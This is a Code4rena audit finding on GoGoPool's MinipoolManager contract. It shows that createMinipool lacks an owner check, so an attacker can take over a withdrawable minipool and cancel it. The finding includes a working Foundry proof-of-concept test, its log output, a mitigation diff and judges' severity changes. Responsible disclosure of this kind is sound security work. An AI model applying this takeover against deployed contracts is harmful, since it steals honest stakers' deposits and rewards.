malicious validator can cancel other minipools and make honest user loose their initial investment and reward

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L225
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L279

Vulnerability details

A malicious user can abuse createMinipool function to become the new minipool owner. He can do this by waiting for a minipool to become withdrawable and then backrun the transaction by making himself the new owner of the minipool and then call cancelMinipool to retrieve the funds needed to become the owner in the first place.

The honest user if is not fast enough will lose the initial investment plus any reward if available.

Impact

Honest validators can loose the minipool ownership and any funds associated with it.

Proof of Concept

For the attack to succeed a malicious user must first create a minipool on their own to bypass this control line in createMinipool

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L225

that can prevent the canceling of the desired minipool

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L279

By calling createMinipool on an existing minipool the attacker can override the original owner.

It also has to wait for the minipool to become withdrawable by listening to the event MinipoolStatusChanged(nodeID, MinipoolStatus.Withdrawable);. This is because the targeted minipool has to be in the withdrawable state for createMinipool call to succeed.

The following POC can be added to MinipoolManager.t.sol unit test file

The test will show that a malicious validator can cancel out any minipool he targets for the only cost of gas fees.

event MinipoolStatusChanged(address indexed nodeID, MinipoolStatus indexed status);
error OnlyOwner();
	function testRecordStakingEnd_POC() public {
		// testing parameters
		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		// malicious users creates a minipool ..long before the honest user/s
		address attacker = getActorWithTokens("attacker", MAX_AMT, MAX_AMT);

		vm.startPrank(attacker);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		vm.stopPrank();
		skip(6 days); // skip to meet the wait period requirement for any later minipool 

		// honest user creates minipool
		vm.startPrank(nodeOp);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		vm.stopPrank();

		address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker1);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		for (uint i; i < 10; i++) {

			// honest user creates minipool
			vm.startPrank(nodeOp);
			
			address nodeID = randAddress();
			uint256 delegationFee = 0.02 ether;
			vm.expectEmit(true,true,false,false);
			emit MinipoolStatusChanged(nodeID, MinipoolStatus.Prelaunch); 
			minipoolMgr.createMinipool{value: depositAmt}(nodeID, duration, delegationFee, avaxAssignmentRequest);
		
			vm.stopPrank();

			// the minipool reaches its end
			bytes32 txID = keccak256("txid");
			vm.startPrank(address(rialto));
			minipoolMgr.claimAndInitiateStaking(nodeID);
			minipoolMgr.recordStakingStart(nodeID, txID, block.timestamp);
			// vm.expectRevert(MinipoolManager.InvalidEndTime.selector);
			skip(1 days);
			minipoolMgr.recordStakingEnd{value: validationAmt}(nodeID, block.timestamp, 0 ether);
			vm.stopPrank();

			// attacker backruns the end or error state of a minipool take ownership and cancels it.. the user loses all its funds.. the attacker losses none
			vm.startPrank(attacker);
			// just for test ... the first attempt fails because is not the owner
			vm.expectRevert(OnlyOwner.selector);
			minipoolMgr.cancelMinipool(nodeID);

			console.log("i",i);
			console.log("Balance attacker before %d", attacker.balance);
			{
				MinipoolManager.Minipool memory mp = minipoolMgr.getMinipoolByNodeID(nodeID);
				console.log("Minipool owner before %s", mp.owner);
			}
			minipoolMgr.createMinipool{value: depositAmt}(nodeID, duration, delegationFee, avaxAssignmentRequest);
			minipoolMgr.cancelMinipool(nodeID);
			{
				MinipoolManager.Minipool memory mp = minipoolMgr.getMinipoolByNodeID(nodeID);
				console.log("Minipool owner after  %s", mp.owner);
				assertEq(mp.owner, attacker);
			}
			console.log("Balance attacker after  %d", attacker.balance); // attacker gets its funds back
			vm.stopPrank();
		}

	}

By running the test forge test -m testRecordStakingEnd_POC -vv we can see that the malicious user by creating only one minipool he can cancel out other minipools that not belong to him and as already stated the honest users will lose their initial investment and the ability to use the minipool in the future.

[PASS] testRecordStakingEnd_POC() (gas: 9302534)
Logs:
  i 0
  Balance attacker before 999000000000000000000000
  Minipool owner before 0x0000000000000000000000000000000000050001
  Minipool owner after  0x0000000000000000000000000000000000050002
  Balance attacker after  999000000000000000000000
  i 1
  Balance attacker before 999000000000000000000000
  Minipool owner before 0x0000000000000000000000000000000000050001
  Minipool owner after  0x0000000000000000000000000000000000050002
  Balance attacker after  999000000000000000000000
  i 2
  Balance attacker before 999000000000000000000000
  Minipool owner before 0x0000000000000000000000000000000000050001
  Minipool owner after  0x0000000000000000000000000000000000050002
  Balance attacker after  999000000000000000000000
  i 3
  ...

Tools Used

forge of foundry

Recommended Mitigation Steps

Check for the original owner inside createMinipool call to prevent undesired overrides

    int256 minipoolIndex = getIndexOf(nodeID);
    if (minipoolIndex != -1) {
+       onlyOwner(minipoolIndex);        
        requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
        resetMinipoolData(minipoolIndex);
        // Also reset initialStartTime as we are starting a whole new validation
        setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".initialStartTime")), 0);

[0xminty]

dupe of #805

[c4-judge]

GalloDaSballo marked the issue as duplicate of #213

[c4-judge]

GalloDaSballo changed the severity to 2 (Med Risk)

[c4-judge]

GalloDaSballo changed the severity to 3 (High Risk)

[c4-judge]

GalloDaSballo changed the severity to 2 (Med Risk)

[c4-judge]

GalloDaSballo changed the severity to 3 (High Risk)

[c4-judge]

GalloDaSballo marked the issue as satisfactory

[c4-judge]

GalloDaSballo changed the severity to QA (Quality Assurance)

[Simon-Busch]

Changed severity back from QA to H as requested by @GalloDaSballo